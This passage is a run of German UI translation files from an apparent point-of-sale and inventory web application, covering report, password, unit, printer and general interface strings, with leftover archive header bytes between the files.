Verkaufsdetails für den ausgewählten Zeitraum', 'total_purchase' => 'Gesamtkauf', 'purchase_inc_tax' => 'Kauf inkl. Steuer', 'total_sell' => 'Ausverkauf', 'sell_inc_tax' => 'Verkauf inkl. Steuer', 'purchase_due' => 'Kauf fällig', 'sell_due' => 'Verkauf fällig', 'overall' => 'Insgesamt (Verkauf-Kauf)', 'sell_minus_purchase' => 'Verkauf - Kauf', 'difference_due' => 'Fälliger Betrag', 'customer' => 'Kunden', 'supplier' => 'Lieferanten', 'total_due' => 'Fällig', 'contacts' => 'Lieferanten- und Kundenbericht', 'contact' => 'Kontakt', 'stock_report' => 'Bestandsbericht', 'products' => 'Produkte', 'current_stock' => 'Aktueller Lagerbestand', 'total_unit_sold' => 'Gesamteinheit verkauft', 'tax_report' => 'Steuerbericht', 'tax_report_msg' => 'Steuerdetails für den ausgewählten Zeitraum', 'input_tax' => 'Einkommenssteuer', 'output_tax' => 'Ausgangssteuer', 'tax_overall' => 'Gesamt (Eingabe - Ausgabe)', 'input_tax_minus_output_tax' => 'Vorsteuer - Ertragssteuer', 'trending_products' => 'Trendprodukte', 'apply_filters' => 'Filter anwenden', 'filters' => 'Filter', 'expense_report' => 'Spesenabrechnung', 'total_expense' => 'Gesamtausgaben', 'others' => 'Andere', 'all' => 'Alle', 'top_trending_products' => 'Top-Trendprodukte', 'all_locations' => 'Alle Orte', 'stock_adjustment_report' => 'Bestandsanpassungsreport', 'total_stock_adjustment' => 'Gesamtbestandsanpassung', 'total_recovered' => 'Gesamtbetrag wiederhergestellt', 'total_normal' => 'Insgesamt Normal', 'total_abnormal' => 'Gesamtabnormal', 'register_report' => 'Bericht registrieren', 'open_time' => 'Offene Zeit', 'close_time' => 'Schließzeit', 'user' => 'Benutzer', 'all_users' => 'Alle Nutzer', 'sales_representative' => 'Vertreterbericht', 'sales_representative_expenses' => 'Alle mit dem Handelsvertreter verbundenen Kosten', 'summary' => 'Zusammenfassung', 'date_range' => 'Datumsbereich', 'stock_expiry_report' => 'Lagerlaufzeitbericht', 'stock_left' => 'Lager links', 'expired' => 'Abgelaufen', 'view_stocks' => 'Aktien anzeigen', 'expiring_in_1_week' => 'Auslaufen in einer Woche', 'expiring_in_15_days' => 'Auslaufen in 15 Tagen', 'expiring_in_1_month' => 'Auslaufen in einem Monat', 'expiring_in_3_months' => 'Auslaufen in 3 Monaten', 'expiring_in_6_months' => 'Auslaufen in 6 Monaten', 'expiring_in_1_year' => 'Auslaufen in einem Jahr', 'profit_loss' => 'Gewinn / Verlust-Bericht', 'opening_stock' => 'Anfangsbestand', 'closing_stock' => 'Schlussbestand', 'total_expense' => 'Gesamtausgaben', 'net_profit' => 'Reingewinn', 'total_stock_adjustment' => 'Gesamtbestandsanpassung', 'total_stock_recovered' => 'Gesamtbestand wiederhergestellt', ]; PK G �Z��'�Y Y de/passwords.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Password Reminder Language Lines |-------------------------------------------------------------------------- | | The following language lines are the default lines which match reasons | that are given by the password broker for a password update attempt | has failed, such as for an invalid token or invalid new password. | */ 'password' => 'Passwörter müssen mindestens 6 Zeichen lang sein und korrekt bestätigt werden.', 'reset' => 'Das Passwort wurde zurückgesetzt!', 'sent' => 'Passworterinnerung wurde gesendet!', 'token' => 'Der Passwort-Wiederherstellungs-Schlüssel ist ungültig oder abgelaufen.', 'user' => 'Es konnte leider kein Nutzer mit dieser E-Mail-Adresse gefunden werden.', ]; PK G �Z���� de/unit.phpnu �[��� <?php return [ 'units' => 'Einheiten', 'manage_your_units' => 'Verwalte deine Einheiten', 'all_your_units' => 'Alle deine Einheiten', 'name' => 'Name', 'short_name' => 'Kurzer Name', 'allow_decimal' => 'Erlaube Dezimal', 'added_success' => 'Einheit erfolgreich hinzugefügt', 'updated_success' => 'Einheit erfolgreich aktualisiert', 'deleted_success' => 'Einheit erfolgreich gelöscht', 'add_unit' => 'Einheit hinzufügen', 'edit_unit' => 'Bearbeitungseinheit', ]; PK G �ZxX�\ \ de/printer.phpnu �[��� <?php return [ 'printers' => 'Drucker', 'add_printer' => 'Drucker hinzufügen', 'name' => 'Druckername', 'connection_type' => 'Verbindungstyp', 'capability_profile' => 'Fähigkeitsprofil', 'ip_address' => 'IP Adresse', 'port' => 'Hafen', 'path' => 'Pfad', 'added_success' => 'Drucker wurde erfolgreich hinzugefügt', 'manage_your_printers' => 'Verwalten Sie Ihre Drucker', 'all_your_printer' => 'Alle konfigurierten Drucker', 'deleted_success' => 'Drucker wurde erfolgreich gelöscht', 'edit_printer_setting' => 'Druckerkonfiguration bearbeiten', 'receipt_printers' => 'Bondrucker', 'character_per_line' => 'Zeichen pro Zeile', 'printer_name' => 'Druckername', 'updated_success' => 'Drucker wurde erfolgreich aktualisiert', 'edit_printer' => 'Drucker bearbeiten', ]; PK G �Z�0�H �H de/lang_v1.phpnu �[��� <?php return [ 'enable_editing_product_from_purchase' => 'Bearbeiten des Produktpreises vom Kaufbildschirm aktivieren', 'sales_commission_agent' => 'Vertreter der Verkaufskommission', 'sales_commission_agents' => 'Agenten der Verkaufskommission', 'disable' => 'Deaktivieren', 'logged_in_user' => 'Angemeldeter Benutzer', 'select_from_users_list' => 'Aus der Benutzerliste auswählen', 'select_from_commisssion_agents_list' => 'Wählen Sie aus der Liste der Kommissionsagenten', 'add_sales_commission_agent' => 'Verkaufskommissionär hinzufügen', 'commission_agent_added_success' => 'Kommissionsagent erfolgreich hinzugefügt', 'edit_sales_commission_agent' => 'Verkaufskommissionär bearbeiten', 'commission_agent_updated_success' => 'Kommissionsagent wurde erfolgreich aktualisiert', 'commission_agent_deleted_success' => 'Kommissionsagent erfolgreich gelöscht', 'contact_no' => 'Kontakt Nr.', 'commission_agent' => 'Kommissionär', 'cmmsn_percent' => 'Prozentsatz der Verkaufsprovision (%)', 'sales_added' => 'Umsatz hinzugefügt', 'sales_with_commission' => 'Verkäufe mit der Kommission', //"total_sale_with_commission" => "Gesamtverkauf mit Kommission", 'total_sale_commission' => 'Gesamtverkaufs-Kommission', 'sales_item_addition_method' => 'Verkaufspositionszusatzmethode', 'add_item_in_new_row' => 'Artikel in neuer Zeile hinzufügen', 'increase_item_qty' => 'Artikelmenge erhöhen, wenn diese bereits existiert', 'stock_transfers' => 'Umlagerungen', 'all_stock_transfers' => 'Alle Umlagerungen', 'add_stock_transfer' => 'Umlagerung hinzufügen', 'list_stock_transfers' => 'Umlagerungen auflisten', 'location_from' => 'Standort (von)', 'location_to' => 'Ort (zu)', 'shipping_charges' => 'Versandkosten', 'stock_transfer_added_successfully' => 'Stock Transfer erfolgreich hinzugefügt', 'stock_transfer_delete_success' => 'Umbuchung erfolgreich gelöscht', 'stock_transfer_cannot_be_deleted' => 'Diese Umlagerung kann nicht gelöscht werden, da einige Bestände bereits verkauft sind', 'total_transfer_shipping_charges' => 'Gesamttransfergebühren', 'enable_inline_tax' => 'Aktivieren Sie Inline-Steuer beim Kauf und Verkauf', 'save_n_add_opening_stock' => 'Speichern und Hinzufügen von Anfangsbeständen', 'add_opening_stock' => 'Eröffnungskurs hinzufügen', 'opening_stock_added_successfully' => 'Anfangsbestand erfolgreich hinzugefügt', 'update_n_edit_opening_stock' => 'Aktualisieren und Bearbeiten des Eröffnungsbestands', 'total_amount_exc_tax' => 'Gesamtbetrag (ohne Steuern)', 'currency_symbol_placement' => 'Währungssymbol-Platzierung', 'before_amount' => 'Vor dem Betrag', 'after_amount' => 'Nach Menge', 'barcode_label_error' => 'Nicht unterstützte Artikelnummer für den ausgewählten Barcode-Typ', 'list_products' => 'Produkte auflisten', 'list_expenses' => 'Ausgaben auflisten', 'add_expiry' => 'Artikel Ablauf hinzufügen', 'add_manufacturing_auto_expiry' => 'Herstellungsdatum und Verfallszeit hinzufügen', 'tooltip_enable_expiry' => 'Produktablauf aktivieren. <br/> <br/><b>Artikel Ablauf hinzufügen</b>: Um nur den Artikelablauf direkt hinzuzufügen. <br/> <b>Herstellungsdatum und Verfallszeit hinzufügen</b>: Hinzufügen des Herstellungsdatums und des Verfallsdatums und Berechnung des darauf basierenden Verfallsdatums.', 'quantity' => 'Menge', 'on_product_expiry' => 'Bei Produktablauf', 'keep_selling' => 'Weiterverkaufen', 'stop_selling' => 'Stoppen Sie den Verkauf vor n Tagen', 'tooltip_on_product_expiry' => 'Geben Sie die Aktion an, die bei Ablauf des Produkts ausgeführt werden muss. <br><br> <b>Weiterverkaufen</b>: Product will be keep on selling after expiry also. <br> <b>Stoppt den Verkauf</b>: Stoppen Sie den Verkauf des Artikels n Tage vor Ablauf.', 'output_tax_minus_input_tax' => 'Ausgangssteuer - Vorsteuer', 'total_purchase_discount' => 'Gesamtkaufrabatt', 'total_sell_discount' => 'Gesamtverkaufsrabatt', 'updated_succesfully' => 'Erfolgreich geupdated', 'default_unit' => 'Standardeinheit', 'enable_brand' => 'Marken aktivieren', 'enable_category' => 'Kategorien aktivieren', 'enable_sub_category' => 'Unterkategorien aktivieren', 'enable_price_tax' => 'Preis- und Steuerinformationen aktivieren', 'enable_purchase_status' => 'Kaufstatus aktivieren', 'tooltip_enable_purchase_status' => 'Bei Deaktivierung werden alle Einkäufe als <i> empfangener Artikel markiert </i>', 'recent_product_quantity' => 'Gehe zur Produktmenge', 'full_screen' => 'Vollbild', 'Uncategorised' => 'Nicht kategorisiert', 'no_products_to_display' => 'Keine Produkte zum Anzeigen', 'item_out_of_stock' => 'Produkt ausverkauft', 'go_back' => 'Geh zurück', 'disable_pay_checkout' => 'Deaktivieren Sie bezahlen & Kasse', 'disable_draft' => 'Entwurf deaktivieren', 'disable_express_checkout' => 'Express Checkout deaktivieren', 'hide_product_suggestion' => 'Produktvorschlag nicht anzeigen', 'hide_recent_trans' => 'Neueste Transaktionen nicht anzeigen', 'pos_settings' => 'POS-Einstellungen', 'disable_discount' => 'Rabatt deaktivieren', 'disable_order_tax' => 'Bestellsteuer deaktivieren', 'customer_groups' => 'Kundengruppen', 'customer_group' => 'Kundengruppe', 'all_your_customer_groups' => 'Alle Kundengruppen', 'add_customer_group' => 'Kundengruppe hinzufügen', 'customer_group_name' => 'Kundengruppenname', 'calculation_percentage' => 'Berechnungsprozentsatz (%)', 'tooltip_calculation_percentage' => '<b> Verkaufspreis = Verkaufspreis Set Für das Produkt + Berechnungsprozentsatz </b> <br/> <br/> Sie können den Prozentsatz als positiv für die Erhöhung und den negativen für die Senkung des Verkaufspreises angeben.', 'success' => 'Erfolg', 'edit_customer_group' => 'Kundengruppe bearbeiten', 'customer_groups_report' => 'Kundengruppenbericht', 'none' => 'Keiner', 'enable_imei_or_sr_no' => 'Aktivieren Sie IMEI oder Seriennummer', 'tooltip_sr_no' => 'Aktivieren oder deaktivieren Sie das Hinzufügen von Produkt-IMEI oder Seriennummer beim Hinzufügen von Produkten im POS-Bildschirm', 'description' => 'Beschreibung', 'sell_line_description_help' => 'Produkt hinzufügen IMEI, Seriennummer oder andere Informationen hier.', 'unit_cost_before_discount' => 'Stückkosten (vor Rabatt)', 'discount_percent' => 'Rabatt Prozent', 'application_tour' => 'Anwendungstour', 'profile' => 'Profil', 'sign_out' => 'Ausloggen', 'my_profile' => 'Mein Profil', 'Admin' => 'Administrator', 'Cashier' => 'Kassierer', 'both_supplier_customer' => 'Beide (Lieferant und Kunde)', 'months' => 'Monate', 'days' => 'Tage', 'suppliers' => 'Lieferanten', 'customers' => 'Kunden', 'enter_product_name_to_print_labels' => 'Geben Sie den Produktnamen ein, um Etiketten zu drucken', 'manage_product_variations' => 'Produktvarianten verwalten', 'all_variations' => 'Alle Variationen', 'values' => 'Werte', 'add_variation' => 'Variation hinzufügen', 'variation_name' => 'Variantenname', 'add_variation_values' => 'Änderungswerte hinzufügen', 'edit_variation' => 'Variation bearbeiten', 'received' => 'Empfangen', 'pending' => 'Steht aus', 'ordered' => 'Bestellt', 'search_product_placeholder' => 'Produktname / Artikelnummer / Scan-Barcode eingeben', 'fixed' => 'Fest', 'percentage' => 'Prozentsatz', 'select_location' => 'Ort auswählen', 'add_description' => 'Beschreibung hinzufügen', 'cash' => 'Kasse', 'card' => 'Karte', 'cheque' => 'Prüfen', 'bank_transfer' => 'Banküberweisung', 'other' => 'Andere', 'payment' => 'Zahlung', 'total_items' => 'Gesamtanzahl', 'total_paying' => 'Gesamtbezahlung', 'balance' => 'Balance', 'payment_method' => 'Bezahlverfahren', 'card_no' => 'Kartennummer', 'card_holder_name' => 'Name des Karteninhabers', 'card_transaction_no' => 'Kartentransaktionsnummer', 'card_type' => 'Speicherkarten-Typ', 'month' => 'Monat', 'year' => 'Jahr', 'security_code' => 'Sicherheitscode', 'cheque_no' => 'Scheck-Nummer', 'bank_account_number' => 'Bankkontonummer', 'paid' => 'Bezahlt', 'due' => 'Fällig', 'partial' => 'Teilweise', 'no_of_products' => 'Anzahl der Produkte', 'select_a_date_range' => 'Wählen Sie einen Datumsbereich', 'shortcut_help' => "Abkürzung sollten die Namen der Schlüssel sein, getrennt durch '+'", 'example' => 'Beispiel', 'available_key_names_are' => 'Verfügbare Schlüsselnamen sind', 'add_new_product' => 'Neues Produkt hinzufügen', 'invoice_logo_help' => 'Max :max_size, jpeg, gif, nur png-Formate.', 'invoice_logo_help2' => 'Nur hochladen, wenn Sie das vorherige Logo ersetzen möchten', 'printer_name_help' => 'Kurzer beschreibender Name zur Druckererkennung', 'char_per_line_help' => 'Anzahl der Zeichen, die pro Zeile gedruckt werden können', 'ip_address_help' => 'IP-Adresse für die Verbindung zum Drucker', 'port_help' => 'Der meiste Drucker funktioniert auf Port 9100', 'combination_of_taxes' => 'Kombination mehrerer Steuern', 'product_purchase_report' => 'Produkt Kauf Bericht', 'unit_perchase_price' => 'Einheit Kaufpreis', 'search_product' => 'Produkt suchen', 'product_sell_report' => 'Produktverkaufsbericht', 'unit_sale_price' => 'Verkaufseinheitspreis', 'contact_id' => 'Kontakt-ID', 'category_code_help' => 'Kategoriecode ist gleich wie <b> HSN-Code </b>', 'sub_heading_line' => 'Unterüberschrift :_number_', 'date_label' => 'Datumsbezeichnung', 'client_id_label' => 'Kunden-ID-Label', 'product_label' => 'Produktetikett', 'qty_label' => 'Mengenlabel', 'unit_price_label' => 'Stückpreisschild', 'subtotal_label' => 'Zwischensumme Label', 'product_details_to_be_shown' => 'Produktdetails werden angezeigt', 'show_brand' => 'Marke zeigen', 'show_sku' => 'Zeige SKU', 'show_cat_code' => 'Kategoriecode anzeigen', 'show_client_id' => 'Kundennummer anzeigen', 'show_time_with_date' => 'Zeige Zeit mit Datum', 'show_sale_description' => 'Verkaufsbeschreibung anzeigen', 'product_imei_or_sn' => '(Produkt IMEI oder Seriennummer)', 'purchase_already_exist' => 'Produkt kann nicht gelöscht werden, da Käufe im Zusammenhang mit diesem Produkt existieren', 'opening_stock_sold' => 'Produkt kann nicht gelöscht werden, weil einige Bestände verkauft werden', 'stock_adjusted' => 'Produkt kann nicht gelöscht werden, weil einige Bestände angepasst werden', 'product_delete_success' => 'Produkt erfolgreich gelöscht', 'manage_products' => 'Verwalten Sie Ihre Produkte', 'all_products' => 'Alle Produkte', 'login' => 'Anmeldung', 'register' => 'Registrieren', 'username' => 'Nutzername', 'password' => 'Passwort', 'remember_me' => 'Erinnere dich an mich', 'forgot_your_password' => 'Haben Sie Ihr Passwort vergessen?', 'reset_password' => 'Passwort zurücksetzen', 'email_address' => 'E-Mail-Addresse', 'send_password_reset_link' => 'Link zum Zurücksetzen des Kennworts senden', 'instructions' => 'Anleitung', 'instruction_line1' => 'Befolgen Sie die Anweisungen sorgfältig, bevor Sie die Datei importieren.', 'instruction_line2' => 'Die Spalten der CSV-Datei sollten in der folgenden Reihenfolge sein.', 'col_no' => 'Spaltennummer', 'col_name' => 'Spaltenname', 'instruction' => 'Anweisung', 'required' => 'Erforderlich', 'optional' => 'Wahlweise', 'name_ins' => 'Produktname', 'brand_ins' => 'Name der Marke', 'brand_ins2' => 'Wenn nicht gefunden, wird eine neue Marke mit dem gegebenen Namen erstellt', 'unit_ins' => 'Name der Einheit', 'category_ins' => 'Name der Kategorie', 'category_ins2' => 'Wenn nicht gefunden, wird eine neue Kategorie mit dem angegebenen Namen erstellt', 'sub_category_ins' => 'Name der Unterkategorie', 'sub_category_ins2' => 'Wenn nicht gefunden, wird eine neue Unterkategorie mit dem gegebenen Namen unter der übergeordneten Kategorie erstellt', 'sku_ins' => 'Product SKU. Wenn diese Option leer ist, wird automatisch eine SKU generiert', 'barcode_type_ins' => 'Barcode-Typ für das Produkt.', 'barcode_type_ins2' => 'Derzeit unterstützt', 'default' => 'Standard', 'manage_stock_ins' => 'Aktivieren oder Deaktivieren der Lagerverwaltung', 'alert_qty_ins' => 'Erforderlich, wenn Lagerbestand verwalten 1 ist', 'expires_in_ins' => 'Produktablaufdauer (nur in Zahlen)', 'expire_period_unit' => 'Verfallszeiteinheit', 'available_options' => 'Verfügbare Optionen', 'expire_period_unit_ins' => 'Einheit für die Ablauffrist', 'applicable_tax_ins' => 'Name des Steuersatzes', 'variation_name_ins' => 'Erforderlich, wenn der Produkttyp variabel ist', 'variation_name_ins2' => 'Name der Variation (Bsp .: Größe, Farbe usw.)', 'variation_values_ins' => 'Erforderlich, wenn der Produkttyp variabel ist', 'variation_values_ins2' => "Werte für die Variation getrennt durch '|' '| (zB: Rot | Blau | Grün)", 'purchase_price_inc_tax' => 'Kaufpreis (einschließlich Steuern)', 'purchase_price_inc_tax_ins1' => 'Erforderlich, wenn der Kaufpreis ohne Steuer nicht angegeben wird', 'purchase_price_inc_tax_ins2' => "Kaufpreis (inkl. MwSt.) (Nur in Zahlen) <br> <br> Für variable Produkte '|' getrennte Werte mit der gleichen Reihenfolge wie die Variationswerte <br> (Bsp .: 84 | 85 | 88) ", 'purchase_price_exc_tax' => 'Kaufpreis (ohne Steuern)', 'purchase_price_exc_tax_ins1' => 'Erforderlich, wenn der Kaufpreis inklusive Steuern nicht angegeben ist', 'purchase_price_exc_tax_ins2' => "Kaufpreis (ohne Steuern) (nur in Zahlen) <br> <br> Für variable Produkte '|' getrennte Werte mit der gleichen Reihenfolge wie die Variationswerte <br> (Bsp .: 84 | 85 | 88) ", 'profit_margin_ins' => 'Gewinnspanne (nur in Zahlen)', 'profit_margin_ins1' => 'Wenn eine leere Standardgewinnmarge für das Geschäft verwendet wird', 'selling_price' => 'Verkaufspreis', 'selling_price_ins' => 'Verkaufspreis (nur in Zahlen)', 'selling_price_ins1' => 'Wenn der leere Verkaufspreis mit dem angegebenen Kaufpreis und der anwendbaren Steuer berechnet wird', 'opening_stock' => 'Anfangsbestand', 'opening_stock_ins' => 'Eröffnungsbestand (nur in Zahlen)', 'only_applicable_to_single_product' => 'Gilt nur für ein einzelnes Produkt', 'purchase_delete_success' => 'Kauf wurde erfolgreich gelöscht', 'location_ins' => 'Wenn ein leerer erster Unternehmensstandort verwendet wird', 'location_ins1' => 'Name des Unternehmensstandortes', 'expiry_date' => 'Verfallsdatum', 'expiry_date_ins' => 'Stock Ablaufdatum <br><b>Format: mm-dd-yyyy; Ex: 11-25-2018</b>', 'enable_lot_number' => 'Aktivieren Sie die Losnummer', 'tooltip_enable_lot_number' => 'Auf diese Weise können Sie für jede Einkaufszeile im Kaufbildschirm die Losnummer eingeben', 'lot_number' => 'Chargennummer', 'enable_racks' => 'Aktivieren Sie Racks', 'tooltip_enable_racks' => 'Aktivieren Sie diese Option, um beim Hinzufügen von Produkten Rackdetails eines Produkts für verschiedene Unternehmensstandorte hinzuzufügen', 'rack_details' => 'Gestelldetails', 'tooltip_rack_details' => 'Geben Sie Details für den Standort des Produkts im Geschäft für verschiedene Geschäftsstandorte ein.', 'updated_success' => 'Erfolgreich geupdated', 'added_success' => 'Erfolgreich hinzugefügt', 'deleted_success' => 'Erfolgreich gelöscht', 'enable_disable_modules' => 'Aktivieren / Deaktivieren von Modulen', 'opening_stock_help_text' => "<br><br>Bei variablen Produkten separate Bestandsmengen mit '|' <br>(Ex: 100|150|200)", 'applicable_tax_help' => '<br><br/>Wenn der Kaufpreis (ohne Steuern) nicht gleich ist wie <br/>Kaufpreis (inkl. Steuern) <br/>dann müssen Sie den Steuersatznamen angeben.', 'sale_delete_success' => 'Verkauf erfolgreich gelöscht', 'click_to_edit' => 'Zum Bearbeiten anklicken', 'click_to_delete' => 'Klicken Sie, um zu löschen', 'quotation_heading' => 'Zitat Überschrift', 'quotation' => 'Zitat', 'quotation_no_prefix' => 'Zitat Nr. Etikette', 'tooltip_quotation_heading' => 'Die Überschrift Zitat oder Schätzungen wird verwendet, während den Kunden ein Angebot unterbreitet wird.', 'quotation_added' => 'Angebot wurde erfolgreich hinzugefügt', 'quotation_updated' => 'Angebot wurde erfolgreich aktualisiert', 'product_sold_details_register' => 'Details der verkauften Produkte', 'grand_total' => 'Gesamtsumme', 'change_return' => 'Ändern Sie die Rückgabe', 'date_format' => 'Datumsformat', 'time_format' => 'Zeitformat', '12_hour' => '12 Stunden', '24_hour' => '24 Stunden', 'list_quotations' => 'Zitate auflisten', 'list_drafts' => 'Listen Entwürfe', 'you_cannot_delete_this_contact' => 'Der Kontakt kann nicht gelöscht werden - Für den Kontakt existieren bereits Transaktionen.', 'enable_row' => 'Zeile aktivieren', 'enable_position' => 'Position aktivieren', 'rack' => 'Gestell', 'row' => 'Reihe', 'position' => 'Position', 'weight' => 'Gewicht', 'rack_help_text' => "Rack Details getrennt durch '|' für verschiedene Geschäftsstandorte in Serie. <br/> (Bsp .: R1 | R5 | R12) ", 'row_help_text' => "Zeilendetails getrennt durch '|' für verschiedene Geschäftsstandorte in Serie. <br/> (Bsp .: ROW1 | ROW2 | ROW3) ", 'position_help_text' => "Positionsdetails getrennt durch '|' für verschiedene Geschäftsstandorte in Serie. <br/> (Bsp .: POS1 | POS2 | POS3) ", 'import_opening_stock' => 'Importöffnungsbestand', 'tooltip_import_opening_stock' => 'Diese Funktion wird verwendet, um Anfangsbestände bereits hinzugefügter Produkte zu importieren. Wenn die Produkte nicht im System hinzugefügt werden, ist es ratsam, Importprodukte zu verwenden, um Produktdetails mit dem Anfangsbestand hinzuzufügen.', 'design' => 'Design', 'express_checkout_cash' => 'Kasse', 'express_checkout_card' => 'Karte', 'checkout_multi_pay' => 'Mehrfachbezahlung', 'tooltip_checkout_multi_pay' => 'Checkout mit mehreren Zahlungsmethoden', 'tooltip_express_checkout_card' => 'Express Checkout mit Karte', 'card_transaction_details' => 'Kartentransaktionsdetails', 'client_tax_label' => 'Kundensteuer-Kennzeichen', 'cat_code_label' => 'Kategorie- oder HSN-Code-Label', 'list_sell_return' => 'List Sell Return', 'sell_return' => 'Verkauf zurück', 'layout_credit_note' => 'Gutschrift / Rücksendeinformationen verkaufen', 'cn_heading' => 'Überschrift', 'cn_no_label' => 'Referenznummer', 'cn_amount_label' => 'Gesamtmenge', 'custom_field' => 'Benutzerdefiniertes Feld :number', 'website' => 'Webseite', 'total_credit_amt' => 'Gesamtkreditbetrag', 'unit_sell_price' => 'Verkaufspreis der Einheit', 'prefixes' => 'Präfixe', 'purchase_order' => 'Bestellung', 'stock_transfer' => 'Umlagerung', 'purchase_payment' => 'Kaufzahlung', 'sell_payment' => 'Zahlung verkaufen', 'location_id' => 'Standort-ID', 'add_edit_opening_stock' => 'Anfangsbestand hinzufügen oder bearbeiten', 'expiry_date_will_be_changed_in_pl' => 'Ablaufdatum der Kaufzeile wird geändert', 'remove_from_stock' => 'Aus Vorrat entfernen', 'stock_removed_successfully' => 'Bestand erfolgreich entfernt', 'product_image' => 'Produktbild', 'aspect_ratio_should_be_1_1' => 'Das Seitenverhältnis sollte 1: 1 sein', 'previous_image_will_be_replaced' => 'Das zuvor hochgeladene Bild wird ersetzt', 'all_category' => 'Alle Kategorien', 'all_brands' => 'Alle Marken', 'backup' => 'Backup', 'download_complete_backup' => 'Laden Sie das vollständige Backup herunter', 'backup_doesnt_exist' => 'Backup existiert nicht', 'lot_report' => 'Los Bericht', 'purchase_payment_report' => 'Zahlungsbericht kaufen', 'paid_on' => 'Bezahlt am', 'purchase' => 'Kauf', 'cheque_no' => 'Überprüfen Nein', 'card_transaction_no' => 'Karten Transaktionsnummer', 'bank_account_no' => 'Bankkontonummer', 'sell_payment_report' => 'Verkaufsbericht verkaufen', 'restaurant' => 'Restaurant', 'user_type' => 'Benutzertyp', 'product_custom_field1' => 'Benutzerdefiniertes Feld1', 'product_custom_field2' => 'Benutzerdefiniertes Feld2', 'product_custom_field3' => 'Benutzerdefiniertes Feld3', 'product_custom_field4' => 'Benutzerdefiniertes Feld4', 'image' => 'Bild', 'image_help_text' => 'Bildname mit Erweiterung.<br/> (Der Bildname muss auf den Server hochgeladen werden: Pfad )', 'tooltip_kitchen' => 'Dies ist der Küchenbildschirm. Hier können Bestelldetails angezeigt und Bestellungen als gekocht markiert werden.', 'tooltip_serviceorder' => 'Dies ist der Service-Mitarbeiter-Bildschirm. Servicemitarbeiter können diesen Bildschirm verwenden, um alle Bestellungen für sie anzuzeigen und die Bestellung als geliefert zu markieren.', 'sales_person_label' => 'Verkäufer-Label', 'show_sales_person' => 'Verkaufsperson anzeigen', 'decimal_value_not_allowed' => 'Dezimalwert nicht erlaubt', 'theme_color' => 'Thema Farbe', 'quantity_error_msg_in_lot' => 'Nur :qty :Einheit im ausgewählten Los verfügbar', 'show_product_expiry' => 'Produktablauf anzeigen', 'show_lot_number' => 'Show lot number', 'expiry' => 'Ablauf', 'lot' => 'Menge', 'lot_n_expiry' => 'Lot & Verfall', 'pos_edit_product_price_help' => 'Produkt bearbeiten Einzelpreis und Steuern', 'name' => 'Name', 'payment_type' => 'Zahlungsart', 'manage_payment_account' => 'Verwalten Sie Ihr Zahlungskonto', 'all_payments' => 'Alle Zahlungen', 'payment_note' => 'Zahlungshinweis', 'payment_account_deleted_success' => 'Zahlungskonto wurde erfolgreich gelöscht', 'payment_account_updated_success' => 'Zahlungskonto wurde erfolgreich aktualisiert', 'payment_gateway' => 'Online-Zahlungsgateway', 'payment_account_success' => 'Zahlungskonto wurde erfolgreich hinzugefügt', 'payment_account' => 'Zahlungskonto', 'tooltip_sell_product_column' => 'Klicken <i>Produktname</i> um Preis, Rabatt und Steuern zu bearbeiten. <br/>Klicken <i>Kommentar-Symbol</i> Geben Sie die Seriennummer / IMEI oder eine zusätzliche Notiz ein.<br/><br/>Klicken <i>Modifikatorsymbol</i>(falls aktiviert) für Modifikatoren', 'credit_limit' => 'Kreditlimit', 'credit_limit_help' => 'Bleib leer, für kein Limit', 'cutomer_credit_limit_exeeded' => 'Kundenkreditlimit überschritten <br>:credit_limit', 'custom_payment_1' => 'Kundenspezifische Zahlung 1', 'custom_payment_2' => 'Kundenspezifische Zahlung 2', 'custom_payment_3' => 'Kundenspezifische Zahlung 3', 'transaction_no' => 'Transaktionsnummer', 'file' => 'Datei', 'size' => 'Größe', 'date' => 'Datum', 'age' => 'Alter', 'create_new_backup' => 'Neue Sicherung erstellen', 'all_sales' => 'Alle Verkäufe', 'opening_balance' => 'Anfangsbestand', 'opening_balance_due' => 'Eröffnungssaldo fällig', 'import_contacts' => 'Kontakte importieren', 'contact_type_ins' => '<strong> Verfügbare Optionen: Kunde, Lieferant & beide </strong>', 'contact_id_ins' => 'Leer lassen, um die Kontakt-ID automatisch zu generieren', 'required_if_supplier' => 'Erforderlich, wenn der Kontakttyp Lieferant oder beides ist', 'pay_term_period_ins' => 'Verfügbare Optionen: Tage und Monate', 'your_username_will_be' => 'Ihr Benutzername wird sein', 'currency_exchange_rate' => 'Wechselkurs', 'select_all' => 'Wählen Sie Alle', 'deselect_all' => 'Alle abwählen', 'duplicate_product' => 'Duplikatprodukt', 'delete_selected' => 'Ausgewählte löschen', 'no_row_selected' => 'Keine Zeile ausgewählt', 'duplicate_sell' => 'Doppelter Verkauf', 'duplicate_sell_created_successfully' => 'Doppelter Verkauf erfolgreich erstellt', 'modules' => 'Module', 'theme' => 'Thema', 'account' => 'Konto', 'expense_payment' => 'Spesenzahlung', 'expense' => 'Aufwand', 'disabled_in_demo' => 'Funktion in Demo deaktiviert !!', 'selling_price_group' => 'Verkaufspreisgruppe', 'all_selling_price_group' => 'Alle Verkaufspreisgruppe', 'add_selling_price_group' => 'Verkaufspreisgruppe hinzufügen', 'edit_selling_price_group' => 'Verkaufspreisgruppe bearbeiten', 'access_selling_price_groups' => 'Zugriff auf Verkaufspreisgruppen', 'save_n_add_selling_price_group_prices' => 'Sparen und Hinzufügen von Verkaufspreisgruppenpreisen', 'add_selling_price_group_prices' => 'Gruppenpreise hinzufügen oder bearbeiten', 'default_selling_price_inc_tax' => 'Default Selling Price (Inc. Tax)', 'variation' => 'Variation', 'price_group' => 'Preisgruppe', 'group_price' => 'Gruppenpreis', 'default_selling_price' => 'Standardverkaufspreis', 'price_group_help_text' => 'Verkaufspreisgruppe, in der Sie verkaufen möchten', 'group_prices' => 'Gruppenpreise', 'view_group_prices' => 'Gruppenpreise anzeigen', 'save_n_add_another' => 'Speichern und weitere hinzufügen', 'update_n_add_another' => 'Aktualisieren und ein weiteres hinzufügen', 'subtotal_editable' => 'Zwischensumme editierbar', 'subtotal_editable_help_text' => 'Aktivieren Sie diese Option, um das Feld für die Zwischensumme für jedes Produkt im Bildschirm POS editierbar zu machen.', 'notification_templates' => 'Benachrichtigungsvorlagen', 'new_sale' => 'Neuer Verkauf', 'payment_reminder' => 'Payment Remider', 'payment_received' => 'Zahlung erhalten', 'new_booking' => 'Neue Buchung', 'new_order' => 'Neue Ordnung', 'payment_paid' => 'Zahlung bezahlt', 'items_received' => 'Erhaltene Artikel', 'items_pending' => 'Ausstehende Elemente', 'customer_notifications' => 'Kundenbenachrichtigungen', 'supplier_notifications' => 'Lieferantenbenachrichtigungen', 'email_subject' => 'E-Mail 